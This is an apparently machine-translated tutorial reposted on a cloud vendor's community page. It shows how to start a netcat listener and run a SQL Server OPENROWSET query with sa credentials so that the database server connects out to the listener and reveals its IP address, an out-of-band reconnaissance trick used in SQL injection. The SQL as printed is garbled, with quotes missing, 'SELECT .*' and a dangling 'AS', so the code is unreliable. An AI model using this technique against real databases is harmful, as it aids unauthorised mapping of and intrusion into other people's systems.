Use openrowset to obtain the IP address of the Database Server

Source: Internet
Author: User

First, use NC to listen to a port locally, such as 5678.

Use openrowset to connect to port 5678 of the local machine.

SELECT .*
From openrowset (SQLOLEDB, 192.168.230.1, 5678; sa; MyPass,
SELECT * FROM pubs. dbo. authors order by au_lname, au_fname) AS

Note that the port numbers and IP addresses are separated by commas.

You only need to ensure that the IP address and port are correct.

After the execution, wait a moment and you will see something similar in NC:

Listening on [any] 5678...
Connect to [192.168.230.1] from IBM-7UD8TDEQONS [192.168.230.2] 1219

Database Server IP Address: 192.168.230.2

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.